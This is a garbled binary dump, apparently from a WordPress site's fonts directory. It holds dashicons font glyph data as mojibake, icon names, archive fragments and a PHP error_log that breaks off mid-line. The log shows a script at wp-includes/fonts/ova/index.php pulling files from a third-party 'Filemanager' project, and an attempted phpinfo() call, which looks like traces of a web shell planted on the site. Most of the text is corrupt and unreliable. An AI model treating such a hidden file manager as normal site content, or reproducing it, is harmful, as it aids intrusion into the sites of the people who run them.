Mgf#S\`dh6235#767654'&/&""#6򥊢'&#"632632+32#"'"'26542735#35#35#35#)H,  1        '3! )       #Of ' (,RV5#?73#5#5767>4.">273#4&#">32+32#"&'32654&'5>3#! I ,    f!      !Mf  E3   2K   "5#5##553%5#5#5##5#5#ff3ff3泳fM3333ZY3333M44L33M33!#";2654622653264& 55  5@5  3   M$,!57264&"732#!"&546;!55#335=CD< '   '44L4MMM  3 <<44$1!57264&"4&+!57#"3!26'#'#'3737=CD<  ''  f M335134MMM3 <= ش'74'&'&&67'32674'&'&&67'326 -##;#)2%!+ -##;#)1& +F24;C/7'!F24;C/7'$"/&=4?62764/&"2n-9-7768677!$#";2654622653264&5M 55  5?5  3   Mf/7=EK27&"3275#"&463'#373732654&'5>54&#532##76732+7''  -"$! 9:;67  n,df $&)8+o @+  ( $  MNAGORZ%267#"'&'#+5##'##7#53733532367>2.#"3#%3/73>4&#1#3+3264  !7$:".- ! .   KK p k,1 @@++@@@@      U* D+  %!!5!#53#53#53#53fg4Mf3444333 %3#373'#7S0i4f0k R&M'} "&"&46273#"&46273#"&46273# 0@ 0@ 0M  3  3  3g#"'&=#27655#f3$63y%'#- ''-33!58;>'?64&"'6?>'3''7.6?27'#'7'' 6+' .= '99͚4f3ͽ#89+$<'!-͚4f399' *'. ?7 'Agf3<$+98#(-!gf3 #'+/37;?CGK##5#3533#5!#5#5#5!#5#5!#5#5!#5#5#5!#5#5!#5#5!#5MMMMf33334"&462%"264&#"264&**3*******-%54&#!"3!26'"/'"'&?'.7676g!hd p67p dh  `h_11_h`  7%>=4&'&7>7>4  {.z.Ks :  !2#!"=47>.'&cS000ڬ  ....ݎcc#)!"3!26=4&#"&463253'757'5fM* ff&&LL&&MMg+n&'&MM&'&'M!"3!26=4&'757'5fb&&LL&&M&'&MM&'&'M$-!"3!26=4&#53'757'5'5'7264&"fȳf&&LL&&M.4 ͙s&'&MM&'&'M@&.>-39!"3!26=4&'&76?'76?>'7&'757'5f ! !  M &&LL&&M " "   J0&'&MM&'&'M#!"3!26=4&'#537'757'5f33f&&LL&&M$1."g&'&MM&'&'M%)%4&#!"3!262"&46!!52"&46!!5 f    W4 W3  f 3#35#7'7'M33ffn$$n33f4n$$n3'5'7#57!3#3$h334fO$M33o73537#5476;5&#"#3K> H & *3??3I. A3-6I$!2+537#546;5&#"#3#"&546Jl h5=  %+55  >'8+'-> l #!2#!"&5465!735335353353  f MM  f MMfMM576762'./5M!!.T.!!! 337#7567'&'&'&3M#.1+#+51&3 $0C"#54&"#54&"26=>=4&3265""26=>'4&  - -%& @@ @@ T  T  ,2#(  (#2 !!!5!55#7#̙L44͙̀gf%6"&46325#"&4632546 4J55%3"%44%3 %55J4 3 ,4J5 &#"5#"&=46;232+'#"&=46#M33Mf$/MMfLL&BK32#!"&=#"&5463!2!!4&"2667676763#52767632#+2  2  K   3      2 K  @ c ͚      >!2#!"&546!4&"2647676763#!"&=2176767632:t**M       tgf+k "  3    )74'&'&&67'32674'&'&&67'326 5)*+#& ;+'2 5)),"& :+'2!%R:"&-2lA-'!%R:"&-2lA- '092"'&476264&"3264&"3264&"2"&462"&46}90099009     = 0))00))0        3  !2%46373#37#37#3!73 4q43M333M f MMMMMMMgf #&),/3#7357#53%'7'35#!#53#57#7'533&M̀&''@'M3&'M''Z&@&Mͳ@&@'MM'& '''g'&&'M@& #77'77535''3'7.E'H.H'E.s'E+.E..H̀.H'E..E'E+'E..HE+.E 357''375#!#77'W$H..H$H.H$H.f.H$H$H..$H$H.H$H..H$H+4=.+"76767627>'&##5#53533"&4627"&462 (( '&   1 s+85W      W58.& *   #3'.'&>727.#"32>5'&pA(2E9",#;H&7^88^7:Z1&L(1E2";$87_n_73[:!2#!"&5465#!5#5#!5#3  f f3f f   ̙͙ !-;J2>."2>."2>."76&"26'"&/&63272"'76'&'6 " "n     1j2 '  " *- -* " **#)$$$$n/88/n &6a ](//(] `7&'7&'"/&47%&'6$Y$v;Vi?^$W$!x%  " #5#3533@@@@M%6767>'&".#&=1,%:11:%3,1J+)1/U..V_)+&<@&"&#764&'677&6762&'+6267>7.26 >**I{",+ E"1/Im    !i< ?q$  rf*<>J? (+ H !.BK8  ;  39;3 f<)%#&'&'67673264&#!";#"3!264& 0.   0.   f6 ''!56 ''!5 #)/575##5335335#53#353373#5##'#3#533'77'7f333$_!3#&L3;;YY.;;YYf4433ggWWP@@Pf:;ZY;:YZ #<@DHL%!!>?6.#"275#5#'"276?54.#5#5#5!5!f  рW#  MMMM43     C3/  4L48<@D%!!>?6.#"25#'"276?54.#5#5#5!f   #  瀀f4t      ff  533%##5#5#535337'#35fMffMMMfgfMffMffLMgf4&"26>.>.f4.#"5>@529925@4.".4>244  ?j==j~j==j?1R00RbR00Rff=j~j==j~j=g0RbR00RbR0 2".4>4&"265#8^77^p^77^R47^p^77^p^7g ܚ %)73535#5##32>4."2".4>!5!4334331R00RbR00R1#;"";F;"";f333330RcR00RcR04";G:"":G;"3 %)##33535#'"2>4.".4>2!54334331R00RbR00R1#;"";F;"";f3333330RcR00RcR0";G:"":G;"33 %"2>4.".4>2##33535#?j==j~j==j?1R00RbR00R4LL4LL=j~j==j~j=g0RbR00RbR0L4LL4G_4&"267"&4627"&462'"#"#;276767676=4'.'&'&#+"'.=4676;2E(:((:($=X==X= %" #%%#  #%!"63%*.3%((:((,==X==B 1  "% %"  #$%#T3%!!--!!- !2#!"&546!!'#5!3!26Mf  Y4Mf4     3ͳf  3#3#73#3#!!3ggfgg?7M4gge 22+"&=4&/&'&54>53++"&5#"&'B'   f   'B&  3  &B'    'B&j   "73#7"264&5#3547>354'&'&@MM&'LL*M!<3~&&+1 %)26?C7!2654&#!"2"&46!!52"&46!!52"&46!!52"&46!!53  f = W4 W4 W4 W   f 33f33g33f33 %7>54&"72"&467'57M&5% 2>4."8^77^p^77^8#;"";F;"";7^p^77^p^7";F;"";F;"  %.!3'7'7'726'&/72"&463gMMf...M...M...' 3  ggM 3  4  3 f  =   '!3'54&#&+"276=7&3263gMMm M  ggM WU;  !'7'37'3g̀33MMfMM33g34MLLM43!3'3gMMggM  #'!353'355!355#'355!5#3gMMfffgMM3MMMML4#!3'5#3373/"&4627#5#53gMM3LM vMMggM癙4444L444M  $(,048<@!5#5#35#35#5#35#35#5#35#35#5#35#35#5#35#3g̴MM4MfM4MfM4MfM4MfM4ggMM33334 !353'355!5!5!5#3gMMfgMM3M333!3'54&+";2653gMM M  M L3ggML  L 3(;O#"++"&7'#'&'.76?>76#67654'&'.'6&'&'&7>9M  ,&:  !!  !  h2! 9 #343   *(n   7!5!!5!!5Mfff4444 7!5!5!5!5!3334 5!5!5!MMMMMM 7!5!5!5!5!Mfff3334 /54&"26732+"&46;5.54622654623**gI73   36J4&'&'"2>4.".4>2        &7_77_n_77_70Q00Q`Q00Q   $$   "' 7_n_77_n_70Q`Q00Q`Q0&;IR!#4&#"&#"!72>?6.#"54.#'"26?2"'654&'>462"&1"(    p ! e))9 #x%%"1      ):)Y%5#3'35#'735#7#35ffLffLffffLffLffLffffLffLffffL26?HP54&+";26'2"&4654&++"&=#"3!26'!54&"2674&"2627"&3 4  4 3 MDM4  M  &~&:N:M  M X4  U%32+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+32  f    f    f    f   L  L 33 L  L 33 L  L 33 L  L 3 ''7'77[[$[Z%[[%Z[[[[$[[%ZZ%[[ ''7'776[7Z[6[[6[[6Z7[[6[[6[[7'#7! 3'3M3f4<E267632&"632.#"#476767&#"67632&'&#">4&"26   *g!25!*/,/RD#(, #L   $1+& )A F@ZC=6)%25' # >&/.6?>"&4?64&"6?64&''&'&67676?@~0 ~~~  0,  1BBBB ?~0  @, ",2:7#3264&#!+#532+5327#3##535!533#3264&M.i$$_3&&Mf  3fffff4 *3<E7!654."7462"&462"&67671"&4462"&7462"&7462"&`@-7^p^7tN&%%'- }M8H7^88^7H ) L (LN  -   -9J27654'&#"#27654'&#"7"327654&4&#"3267"32623254.1  P   "#R9&&42+&9)'P55-A!!A- -8'&6?6767'&'776?67676''&76?>5  M  gq  :`  /p A   M f N  q.  BY  q)  A   M  ="6?4'&67632#&=674&1676?32>4.6(&' !37#    '>"+IE(5 P!,+" 0"{'2,$ *FSC& )-15!5!5#%&#"26757&#"26=4&5#5#( * gg33f33g443u)Y)33f33 "&5!5!5#732+"&=467'5#5#gg  XUUggg33f33g444  43M33f33"676.5&'&'&7676.76&%2?3276?'\O.O y=:6EN/A O.O   a }O.Ou`02 >EN3F O/R# b    .>535#5##3)QllQQllFggLgg(llQQllQgLggLg ##5#53534444 ##5#5353MMMMM;%'&4632>54&"264.264/.>676&Ri   .B.i#"YXD"ii0BA! i   /.Ci !CZY!iiBA0 \% 4}7C#"767>;'&+"#76;2#!26?6&+54&+"#"%#7676;2fR ( T tf7  + R aq ,=p:  di < #  % $ g15.5462264&"f+! !+264&"3276?z"11" ."!!0!R S 0E1%'"/"" S S #'+/%#3#3'#37#5!#";!5326=4&#535#53#533MMM33  33 Y4MMgg  fM  8"3'656&'"35.'>75+"&=46;5>232  ! EbOObM  (6(    $$ n '' UMMTTM  g '&&' $+3!354>32632!35471"54'354f";##;"3 -- M433#;" ";#33*#-S3 -#*3l"33" 5##537353'#5#'735gfM3M3gffL33338.3L38.33-6FO%4&"264&#"'#""&"32>=>462"&'"'&762776'"&462<<C GB6 & 0RbR0 (%*#!" 'a  n'% ":"":"  G,355#";#".4>̀*==**F**FMgfM4.".4>2'35?j==j~j==j?1R00RbR00R=j~j==j~j=g0RbR00RbR0445%"#4'723264&">54&"3267332656&'l %%5&#,A,<*. x(.-&5%% l' ,, 'x/+<- , !%34'&'&#234.#2264&"~O87\`oZMK,-OI}I'E7 - 3m^\57M,,ILYH{GM6E%, ,y'7H$lxH$k !!537535353!533533fg3f3gfgggff333MggMM 5#!5#5#!5#f4f͙ ).'&/&'&'.>64&"27#     ([!6HI 5J44J$c)    % !IH6K44K4$-R&'.'&#537>764&"26&>7>75673#'.     vD  "''" U&4&&4&     vD  !''! l    L{&&4&&R    L 5>75!57!3#̀:$0%[S3F+N3fL ,ENN3) '"%2"&547'"&4627&5462"'6s --@-pB--Ap-@--Aqq-@-- ;-@-; --@-;  ;!3'&'&'&'&'&'&'&52767$#.!6  @@   ~\C+  !%).3 !83'&'&'&'&'&'&'&5276737676765'&'&'#$#.!6  @@ #'(   ~\C+  !%).3  # #$  7#535#33#3#344gg6^6R44g4f444g 75!%53735;#'5#5#34433MgM3332+"&546#73  ff  f {,2'&#"1&54632'&#"1&546267'"&'  7Gu"bxb"u{    SD 8FF8 DSM!3!'LM #*14."2>%'>&'7"&4627.'677^p^77^p^7& `1 ` &1*` &1& `18^77^p^77^` &1P& `1**& `1?` &1 0B"2>4.'."'46767"#3'.&'&76'&'&.6767_77_n_77_( )^, 2g/ .j5  :y40HC3 ;IS6 7_n_77_n_7    /   5! 7'7/'7'7MiiM=4&WXAB' &BB  BB& ' D276527652765276='!35335&'&'&5"&'&5"&'&5....MfMf //                 !7'7'?M͡,,$11$Md1$+.!73%#?'73>'5'3J@d&H>(25S,.,MMNAv.$Mg9M  %535#5##3!#3#3#3!!h^^,__ H'].]].]5b!b!bh  #33535#5!!!#3#3#3^^,__ '].]].]5hb!b!b  #/75'7'!%#5'#5'#3753753''7'77!! PT'SP(PR'RP !! F!5B..h<;;+PS'SQ'PR(RP  %#5##3353!#37#37#3!!bJ$JJ$J 5JJ"JJ5bbbbb  33535#5##!%35#35#!!#3J$JJ$J 5˄[JJ"JJ5Bbbbb  #%'7''7!'#'35#735!3#3#!PQ'RP'RT'TP` !-. 5 !PR'RQ&RT'TQ~5!b!bb!b!b!2#!"&546!3f4  $  f 4 3'%264&"L+ͳf++  #'!5!#5#5!!5#5!#5#5!#53#53#5̳fg3fffffMMMMf3333M!2+5#"&=46!!!!#3f4/4M334 !#537#535#535#53Mf34333 !5!5!#5#5!#5!5fgf33f3333g3333f33"7"'1.?64&+"&5471676;#%#53  M 36N 333 F   t  !21;2+53>7>3#F  M 6N33 FVT  t  "4Q_5&%7>&'776&/&326'/.?>323!52645;26=546;+"&&~'# #  ##  fI     ]I''HH('I` F ` F FaF` ML*N f  -f H1 <BJQiy1&%7>&'76.6'#&176/&726/>67.76?'"'&'3!52645265'3'72&#647.77?7#"&~'%OM%OM3"   ' .`  q6 %* U5fm7&'3' I=+Hs4sRQ  #/0 # ?6M E3ffK277#     $132!546;>23."!+"&'3M  M%.%bMk    X   337375#5#5!#3'#3ER..K#@g8O.@$$g$$C));33Cddd%#"=3264&+54&"3265.d!!!-: ! M-66 !!0#"'327.'327.=.47&54632676 :@RNB A30  !* #e:7'$   @<@%**($4"  )2,4 '7"#5532+32>4.3*==**F**FMgfM'2"&46476?'&'1'&7671'&'&>i~i>>i~i> ,2,,2,"  %  "?i>>i~i>>i  y 7>'8D"#$(#j54 /2"&46476?'&'1'&7671'&'& ,2,,2,"  %  "  y 7>'8D"#$(#j54 +54&"#46232#!"&=463'>54&"3*3327.#"#?3#"&'32>73>(.+F(,L25YZZ; <(.+F(,L25&33(F+gg3g'21 (F+#23'3.#"'>".'#7#3267-L26ZZ< >(0+F,M26ZZ< >(0+F(G+ff'22 (G+ff'22 75#7#5#!5#MM4444͚+4A%4&#!"3!26'!!!2#3#3#!"&5464&"26'"&5467  f f    7'&'62"&4"&'672>=4&')EG:+")@>:)  ;i!/I/90 I/!i :9*!6 : (  @ 92B'1/$B29 2".4>7#64&"28^77^p^77^U L 8 $#7^p^77^p^7V  5#5##!5357##5#53533M433MM3333333!2+5#"&=46'7''73M@@@@@@@@@@@@@@@@ '#'%%"264&7&#".#"67 3 &   1QQ1 L$gg  9&.0''0.&#+%4&#!"3!26'2"&'>4&"263!5353  f +O OVO O^**3MM̚  ($%((%$(L+ (,09=AJN%4&#!"3!26!!7353353352"&46;#73#'2"&46;#7352"&46;#   MMMM ,ff ,ffM ,fffM  >gM333333  M  333   !!7627'$n.$$n.%6@.7327>&#'&'&'&'476;2767>am_2L45<2/1S ?*  ) n/1:am/Mam >' !   AMSY4."2>'7>&##'>32&1'2?>&#"'1&305676'.547#"'EvvEEuvEWe;,P   N &!=4:FB"#EvEEvuEEvD /8   '7W '2;?jpC2*  MW]c4."2>2".4>'726&#+>32&1'2?26&#"/"3?676'%.54#"'EuuEEuuE?i>>i~i>>i N Z5'H   EpC7a3?; FuEEuuEEu,>i~i>>i~i> *2  #1N ,n_d<.O %&+"3;2?6'&+";26/;)@: @: @AT ;Rq En p rs "2>4.#'778^77^p^77^H"S"B"7^p^77^p^7t >#'7|""S"Bt =&'&'&"7276765455-$QP 5-$QPx =v=9?;M     " - +6 a t      V &6dashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comdashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comT      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUadmin-appearanceadmin-collapseadmin-commentsadmin-customizer admin-generic admin-home admin-links admin-mediaadmin-multisite admin-network admin-page admin-plugins admin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3 admin-site admin-tools admin-usersairplanealbum align-centeralign-full-width align-left align-nonealign-pull-leftalign-pull-right align-right align-wideamazon analyticsarchivearrow-down-altarrow-down-alt2 arrow-downarrow-left-altarrow-left-alt2 arrow-leftarrow-right-altarrow-right-alt2 arrow-right arrow-up-alt arrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbell block-defaultbook-altbookbuddicons-activitybuddicons-bbpress-logobuddicons-buddypress-logobuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groups buddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuilding businessmanbusinessperson businesswomanbutton calculator calendar-altcalendar camera-altcameracarcarrotcartcategory chart-area chart-bar chart-line chart-pie clipboardclock cloud-saved cloud-uploadcloudcode-standardscoffee color-pickercolumns controls-backcontrols-forwardcontrols-pause controls-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeon cover-image dashboard database-adddatabase-exportdatabase-importdatabase-remove database-viewdatabasedesktopdismissdownload drumstick edit-large edit-pageediteditor-aligncentereditor-alignlefteditor-alignright editor-bold editor-breakeditor-code-duplicateeditor-contracteditor-customchar editor-expand editor-help editor-indenteditor-insertmore editor-italiceditor-justifyeditor-kitchensink editor-ltr editor-ol-rtl editor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-word editor-quoteeditor-removeformatting editor-rtleditor-spellcheckeditor-strikethrough editor-tableeditor-textcolor editor-uleditor-underline editor-unlink editor-videoellipsis email-alt email-alt2email embed-audio embed-generic embed-photo embed-post embed-video excerpt-viewexitexternal facebook-altfacebookfeedbackfilterflagfood format-aside format-audio format-chatformat-gallery format-image format-quote format-status format-videoformsfullscreen-altfullscreen-exit-altgamesgoogle grid-viewgroupshammerheadinghearthidden hourglasshtmlid-altid image-crop image-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-right image-rotate images-alt images-alt2 index-card info-outlineinfo insert-after insert-beforeinsert instagramlaptoplayout leftright lightbulblinkedin list-view location-altlocationlock-duplicatemarker media-archive media-audio media-code media-defaultmedia-documentmedia-interactivemedia-spreadsheet media-text media-video megaphonemenu-alt menu-alt2 menu-alt3menu microphonemigrateminus money-altmoneymovenametag networkingno-altno open-folderpalmtree paperclippdf performancepetsphone pinterestplaylist-audioplaylist-videoplugins-checkedplus-alt plus-alt2pluspodio portfolio post-status pressthisprinterprivacyproducts randomizeredditredoremoverest-apirsssavedschedule screenoptionssearch share-alt share-alt2share shield-altshield shortcodeslides smartphonesmileysortsosspotify star-empty star-filled star-halfstickystore superhero-alt superherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloud testimonial text-pagetext thumbs-down thumbs-up tickets-altticketstide translationtrashtwitch twitter-alttwitterundouniversal-access-altuniversal-accessunlock update-altupdateuploadvault video-alt video-alt2 video-alt3 visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsapp wordpress-alt wordpressxingyes-altyesyoutubePK[HD$class-wp-font-library.php.php.tar.gznu[Wm7Wӈ8%%mtMTPU+猽P݅ImRUg!13όJfF*gK%&:62,zHa(D!!g E.HW飦558)[ɳG9ʟ>;Lah\6D?+ ^cE᧼WLC8ů81M`IQ.%5YRNZ -=k oN`L1 GOG{3aqvem cF6^4RS1(EvJCS:\**Hr+ X'2qBԲ(2kU"j#.6ATah!D5QL,y V) Ta D@LꁳjC&bԍ$'_)&J,>0isuGĐ6 #0^Ջ \wH,1wɔjo#^)^֑3%(вЇ m I}IGܑ\G6܄0)O2o̽RށG3-ju8dȤ{ ҰiH`d&< Uj}@Cmc;@g7`#'\a؃n]cʩ]'1 $\QJ 8'#;uK4d&*)=ͫ?F%\u=Xd󐻢c"z0nvU؜[мi{C@k;ֈx4y~n$n4/oJ.0W-ho3mOf+gox3PK[ }dashicons.svg.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/dashicons.svg000064400000363306150547065200021000 0ustar00admin-appearanceadmin-collapseadmin-commentsadmin-customizeradmin-genericadmin-homeadmin-linksadmin-mediaadmin-multisiteadmin-networkadmin-pageadmin-pluginsadmin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3admin-siteadmin-toolsadmin-usersairplanealbumalign-centeralign-full-widthalign-leftalign-nonealign-pull-leftalign-pull-rightalign-rightalign-wideamazonanalyticsarchivearrow-down-altarrow-down-alt2arrow-downarrow-left-altarrow-left-alt2arrow-leftarrow-right-altarrow-right-alt2arrow-rightarrow-up-altarrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbellblock-defaultbook-altbookbuddicons-activitybuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groupsbuddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuildingbusinessmanbusinesspersonbusinesswomanbuttoncalculatorcalendar-altcalendarcamera-altcameracarcarrotcartcategorychart-areachart-barchart-linechart-pieclipboardclockcloud-savedcloud-uploadcloudcode-standardscoffeecolor-pickercolumnscontrols-backcontrols-forwardcontrols-pausecontrols-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeoncover-imagedashboarddatabase-adddatabase-exportdatabase-importdatabase-removedatabase-viewdatabasedesktopdismissdownloaddrumstickedit-largeedit-pageediteditor-aligncentereditor-alignlefteditor-alignrighteditor-boldeditor-breakeditor-code-duplicateeditor-codeeditor-contracteditor-customchareditor-expandeditor-helpeditor-indenteditor-insertmoreeditor-italiceditor-justifyeditor-kitchensinkeditor-ltreditor-ol-rtleditor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-wordeditor-quoteeditor-removeformattingeditor-rtleditor-spellcheckeditor-strikethrougheditor-tableeditor-textcoloreditor-uleditor-underlineeditor-unlinkeditor-videoellipsisemail-altemail-alt2emailembed-audioembed-genericembed-photoembed-postembed-videoexcerpt-viewexitexternalfacebook-altfacebookfeedbackfilterflagfoodformat-asideformat-audioformat-chatformat-galleryformat-imageformat-quoteformat-statusformat-videoformsfullscreen-altfullscreen-exit-altgamesgooglegoogleplusgrid-viewgroupshammerheadinghearthiddenhourglasshtmlid-altidimage-cropimage-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-rightimage-rotateimages-altimages-alt2index-cardinfo-outlineinfoinsert-afterinsert-beforeinsertinstagramlaptoplayoutleftrightlightbulblinkedinlist-viewlocation-altlocationlock-duplicatelockmarkermedia-archivemedia-audiomedia-codemedia-defaultmedia-documentmedia-interactivemedia-spreadsheetmedia-textmedia-videomegaphonemenu-altmenu-alt2menu-alt3menumicrophonemigrateminusmoney-altmoneymovenametagnetworkingno-altnoopen-folderpalmtreepaperclippdfperformancepetsphonepinterestplaylist-audioplaylist-videoplugins-checkedplus-altplus-alt2pluspodioportfoliopost-statuspressthisprinterprivacyproductsrandomizeredditredoremoverest-apirsssavedschedulescreenoptionssearchshare-altshare-alt2shareshield-altshieldshortcodeslidessmartphonesmileysortsosspotifystar-emptystar-filledstar-halfstickystoresuperhero-altsuperherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloudtestimonialtext-pagetextthumbs-downthumbs-uptickets-altticketstidetranslationtrashtwitchtwitter-alttwitterundouniversal-access-altuniversal-accessunlockupdate-altupdateuploadvaultvideo-altvideo-alt2video-alt3visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsappwordpress-altwordpressxingyes-altyesyoutubePK[';; error_lognu[[29-Aug-2025 22:34:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [29-Aug-2025 22:34:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [29-Aug-2025 23:35:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [29-Aug-2025 23:35:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:38:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:38:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:42:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:42:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:23:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:23:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:29:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:29:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:29:28 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.c[30-Aug-2025 07:24:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 07:24:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 07:42:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 07:42:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 09:31:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 09:31:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:13:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:13:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:22:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:22:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:12:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:12:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in 